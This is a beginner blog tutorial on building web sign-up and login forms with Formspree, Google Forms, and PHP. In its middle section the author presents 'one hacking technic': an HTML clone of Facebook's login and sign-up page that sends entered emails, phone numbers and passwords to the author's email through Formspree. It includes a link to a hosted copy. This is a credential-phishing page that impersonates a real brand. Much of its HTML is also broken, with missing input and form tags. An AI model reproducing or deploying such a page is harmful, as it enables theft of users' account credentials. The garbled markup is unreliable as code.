How to creat an online sign up/login form

Form actions is another useful web application .Basically, we have two most used form actions. They are as following:

Sign up form

is use for collecting user's input, simply put, for bio data collection by college,hospital,companies, social media etc.

Login form is use for giving website user's an acess to a web page.

Both sign up and login forms can be design with these two method:

Development of form actions using API
Development of form actions using Coding

Development of form actions using API

The most simplest way to creat form for collecting our clint information is by using API. API are libery design by other developers which can be use in our project. For more clearity. you don't need to creat your own light bulb before you can use them in your home.

There are many web API for many purposes, some of them are listed below:

Web posting and comment API by facebook and other API providers
Form API by google and formspree and other API providers
Live streaming API
Chat bot API

The simplest way of importing API into your website is by copy and past API providers provided script into your website code. The instruction and ability of all API will be make available by each API providers.

Advantage of form API

It will enable your project to be stressless and fast.
They are easy to intigrate and incomporate into your project
They are easy to manage because most essential works are handle by the providers.

Disadvantage of form API

User's information is highly vulerable to visualization by the API providers
User's information can be compromized by API hackers
Therefore,they are not good for privacy and security purposes.

Let us try one hacking technic by creating a facebook login/ sign up form with Formspree API.

With this project. we are about to collect user input and also send them to our email address.

First of all:

Navigate to your browser, follow this link to register for free form API account with Formspree.

The needed documentation for it's implimentation will be provided to you on your account.

This is what you mainly need:

This will post all your forms into your database and also send it to your email.

This is your unique database address :https://formspree.io/f/xdoblzvz

It link your website with your email and database.

This is what you will see on there website:

Your form's endpoint is:

Place this URL in the action attribute of your form. Also, make sure your form uses method="POST". Finally, ensure that each input has a name attribute.

See some examples

The Form Library is filled with example forms to get you started. Find everything from a contact form to an RSVP form, edit the code live, and download or copy/paste your work.

Want to adjust your preferences?

We've got you covered for however you want to set up your form See more →

Integrate with your usecase

Check out the code snippets below for more examples:

HTML
AJAX
React
HTML with file uploads
Formbutton

<!-- modify this form HTML and place wherever you want your form -->
<form
  action="https://formspree.io/f/xzbojzpv"
  method="POST"
>
  <label>
    Your email:
    <input type="email" name="email">
  </label>
  <label>
    Your message:
    <textarea name="message"></textarea>
  </label>
  <!-- your other form fields go here -->
  <button type="submit">Send</button>
</form>

You willl be provided with diffrent ways to intigrate your form. You can modify the template provided.

Google Form

Navigate to your browser
click on your gmail
click on google apps
click on form
select any template or click on blank page
Edit template or design your own form with tools provided
click share when you are done.
copy and past the URL into your website using <a href="link address">sign in form</a>

Development of form actions using coding

There are two ways to go about this :

Using coding front end (e.g html,css,javascript,react.js,jquary bootstrap) and with API as backend(server side)
using coding front end (e.g html,css,javascript,react.js,jquary bootstrap) and PHP and MYSQL as back end(server side).

Let us try using coding front end (html and css) and with formspree API as backend(server side) to creat facebook form.

CODE:

<!DOCTYPE html>

<html>

<head>

<title>login form </title>

</head>

<body>

<style>

body {

margin: 0;

font-family: 'Lucida Grande', tahoma,verdana,arial,sans-serif;

line-height: 1.28;

}

#navwrapper {

width: 100%;

height: 82px;

background-color: #3b5998;

}

#navbar {

margin: 0 auto;

width:980px;

height:59px;

}

#contentwrapper {

width: 100%;

height: 606px;

background-color: #edf0f5;

}

#content {

margin: 0 auto;

width:980px;

padding-top:20px;

}

h1 {

font-family: tahoma,verdana,arial,sans-serif;

font-size: 38px;

letter-spacing:0.05px;

margin: 0;

color:#fff;

-webkit-font-smoothing: antialiased;

}

.logowrapper {

display: block;

padding: 30px 0;

}

#button {

position:relative;

width:45px;

height:18px;

background-color: #5b72a9;

border: 1px solid #999;

border-color:#8b9dc3 #2f477a #29447e #1a356e;

-webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, .1);

cursor:pointer;

font-size:11px;

font-weight:bold;

text-align:center;

color:#fff;

}

.tablewrapper {

float:right;

margin-top:15px;

}

.row1 {

color:#fff;

font-size:11px;

width:164px;

cursor:pointer;

}

.inputtext {

border-color: #1d2a5b;

margin: 0;

width: 142px;

border: 1px solid #bdc7d8;

margin: 0;

padding: 3px;

background-color: #FAFFBD;

}

.row2 {

color:#9daccb;

font-size:11px;

width:164px;

cursor:pointer;

}

#leftbod {

width:565px;

display:inline-block;

}

.connect {

width:409px;

height: 72px;

padding: 42px 0 24px;

font-size: 26px;

font-weight: 700;

line-height: 36px;

color: #333;

display:inline-block;

}

.leftbar {

padding-bottom:10px;

margin-top:20px;

}

.iconwrap {

margin-right:20px;

width:55px;

}

.rowtext {

font-size:16px;

font-weight:bold;

color:#333;

}

.fb1 {

display:inline-block;

vertical-align: middle;

}

.rowtext2 {

font-size:15px;

color:#666;

margin-left:10px;

}

#rightbod {

display:inline-block;

vertical-align:top;

width:399px;

height:200px;

float:right;

}

.signup {

font-size:36px;

-webkit-font-smoothing: antialiased;

font-weight:700;

margin-bottom:5px;

}

.bolder {

font-family: 'Open Sans',sans-serif;

text-rendering:optimizelegibility;

color:#333;

}

.free {

font-size:19px;

margin-bottom:20px;

}

.formbox {

display: inline-block;

width:399px;

}

.inputbody {

display: inline-block;

font-size: 18px;

padding: 8px 10px;

border: 1px solid #bdc7d8;

-webkit-border-radius: 5px;

color:#333;

margin-bottom:10px;

}

::-webkit-input-placeholder {

color: #999;

}

::-moz-placeholder {

color: #999;

}

:-ms-input-placeholder {

color: #999;

}

.in1 {

width:172px;

}

.in2 {

width:377px;

}

.fr {

float:right;

}

.fl {

float:left;

}

.bday {

font-size:19px;

color:#141823;

-webkit-font-smoothing: antialiased;

margin-bottom:5px;

}

.selectbody {

display: inline-block;

height:30px;

font-size: 13px;

border: 1px solid #bdc7d8;

-webkit-border-radius: 5px;

color:#141823;

}

.why {

font-size: 11px;

color: #3b5998;

width:150px;

margin-left:10px;

cursor:pointer;

}

.h:hover {

text-decoration: underline;

}

.gender {

font-size: 18px;

color: #141823;

cursor: pointer;

padding: 0 10px 0 3px;

margin-right: 4px;

line-height: 18px;

vertical-align: middle;

}

.spanpad {

padding: 5px 0 5px 4px;

display: inline-block;

}

.mt1 {

margin-top:15px;

}

.m0 {

margin: 0;

}

.agree {

font-size: 11px;

color: #777;

width:316px;

margin: 11px 0 11px ;

}

.link {

color:#3b5998;

display: inline-block;

cursor: pointer;

}

.signbut {

font-size: 19px;

font-weight: 700;

letter-spacing: 1px;

color:#fff;

min-width: 194px;

padding: 7px 20px;

text-align: center;

-webkit-border-radius: 5px;

background: -webkit-linear-gradient(#67ae55, #578843);

-webkit-box-shadow: inset 0 1px 1px #a4e388;

border: 1px solid;

border-color: #3b6e22 #3b6e22 #2c5115;

margin-top: 10px;

margin-bottom: 10px;

text-shadow: 0 1px 2px rgba(0,0,0,.5);

cursor:pointer;

}

.signbut:hover {

background: -webkit-linear-gradient(#79bc64, #578843);

}

.create {

border-top: 1px solid #a0a9c0;

color: #666;

font-size: 13px;

font-weight: bold;

margin-top: 10px;

padding-top: 15px;

}

</style>

<tr>

<td class="row1"><label>Email or Phone</label></td>

<td class="row1"><label>Password</label></td>

</tr>

<tr>

</td>

</td>

<td> <button type="submit" id="button" >Login </button></td>

</tr>

<tr>

<td>

<div class="row2"><input type="checkbox" checked>Keep me logged in</div></td>

<td class="row2 h">Forgot your password?</td>

</form>

</table>

<h1 class="logowrapper">facebook</h1>

</div>

Connect with friends and the

world around you on Facebook.</div>

<span class="rowtext">See photos and updates</span>

<span class="rowtext2 fb1">from friends in News Feed</span>

</div>

<span class="rowtext">Share what's new</span>

<span class="rowtext2 fb1">in your life on your timeline</span>

</div>

<span class="rowtext2 fb1">of what you're looking for with graph search</span>

</div>

<div class="free bolder">It's free and always will be</div>

</div>

</div>

</div>

</div>

<label><div class="bday">Birthday</div></label>

</div>

<select title="Month" class="selectbody"><option value="0" selected="1">Month</option><option value="1">Jan</option><option value="2">Feb</option><option value="3">Mar</option><option value="4">Apr</option><option value="5">May</option><option value="6">Jun</option><option value="7">Jul</option><option value="8">Aug</option><option value="9">Sep</option><option value="10">Oct</option><option value="11">Nov</option><option value="12">Dec</option></select>

</span></label>

<div class="fb1 why h">Why do I need to provide my birthday?</div></div>

<label for="fem" class="gender">Female

</label>

<label for="male" class="gender">Male

</label>

</span>

</div>

By clicking Sign Up, you agree to our <div class="link">Terms</div> and that you have read our <div class="link">Data Use Policy</div>, including our <div class="link">Cookie Use</div>.

</div>

</div>

<div class="create"><div class="link h">Create a Page</div> for a celebrity, band or business.</div>

</div>

</form>

</body>

</html>

LINK TO THE VISUALIZATION

http://cloud-connect.atspace.cc/Facebook%20login%20sign%20up.html

Let us ty using coding front end (e.g html,css,javascript,react.js,jquary bootstrap) and PHP and MYSQL as back end(server side) to creat a website comment and posting form.

code:

<!DOCTYPE HTML>
<html>
<head>
<style>
.error {color: #FF0000;}
</style>
</head>
<body>

<?php
// define variables and set to empty values
$nameErr = $emailErr = $genderErr = $websiteErr = "";
$name = $email = $gender = $comment = $website = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
  if (empty($_POST["name"])) {
   $nameErr = "Name is required";
  } else {
   $name = test_input($_POST["name"]);
   // check if name only contains letters and whitespace
   if (!preg_match("/^[a-zA-Z-' ]*$/",$name)) {
   $nameErr = "Only letters and white space allowed";
   }
  }

  if (empty($_POST["email"])) {
   $emailErr = "Email is required";
  } else {
   $email = test_input($_POST["email"]);
   // check if e-mail address is well-formed
   if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
   $emailErr = "Invalid email format";
   }
  }

  if (empty($_POST["website"])) {
   $website = "";
  } else {
   $website = test_input($_POST["website"]);
   // check if URL address syntax is valid (this regular expression also allows dashes in the URL)
   if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) {
   $websiteErr = "Invalid URL";
   }
  }

  if (empty($_POST["comment"])) {
   $comment = "";
  } else {
   $comment = test_input($_POST["comment"]);
  }

  if (empty($_POST["gender"])) {
   $genderErr = "Gender is required";
  } else {
   $gender = test_input($_POST["gender"]);
  }
}

function test_input($data) {
  $data = trim($data);
  $data = stripslashes($data);
  $data = htmlspecialchars($data);
  return $data;
}
?>

<h2>PHP Form Validation Example</h2>
<p><span class="error">* required field</span></p>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
  Name: <input type="text" name="name" value="<?php echo $name;?>">
  <span class="error">* <?php echo $nameErr;?></span>
  <br><br>
  E-mail: <input type="text" name="email" value="<?php echo $email;?>">
  <span class="error">* <?php echo $emailErr;?></span>
  <br><br>
  Website: <input type="text" name="website" value="<?php echo $website;?>">
  <span class="error"><?php echo $websiteErr;?></span>
  <br><br>
  Comment: <textarea name="comment" rows="5" cols="40"><?php echo $comment;?></textarea>
  <br><br>
  Gender:
  <input type="radio" name="gender" <?php if (isset($gender) && $gender=="female") echo "checked";?> value="female">Female
  <input type="radio" name="gender" <?php if (isset($gender) && $gender=="male") echo "checked";?> value="male">Male
  <input type="radio" name="gender" <?php if (isset($gender) && $gender=="other") echo "checked";?> value="other">Other
  <span class="error">* <?php echo $genderErr;?></span>
  <br><br>
  <input type="submit" name="submit" value="Submit">
</form>

<?php
echo "<h2>Your Input:</h2>";
echo $name;
echo "<br>";
echo $email;
echo "<br>";
echo $website;
echo "<br>";
echo $comment;
echo "<br>";
echo $gender;
?>

</body>
</html>

With all this information, you can now design and develop a good form web application.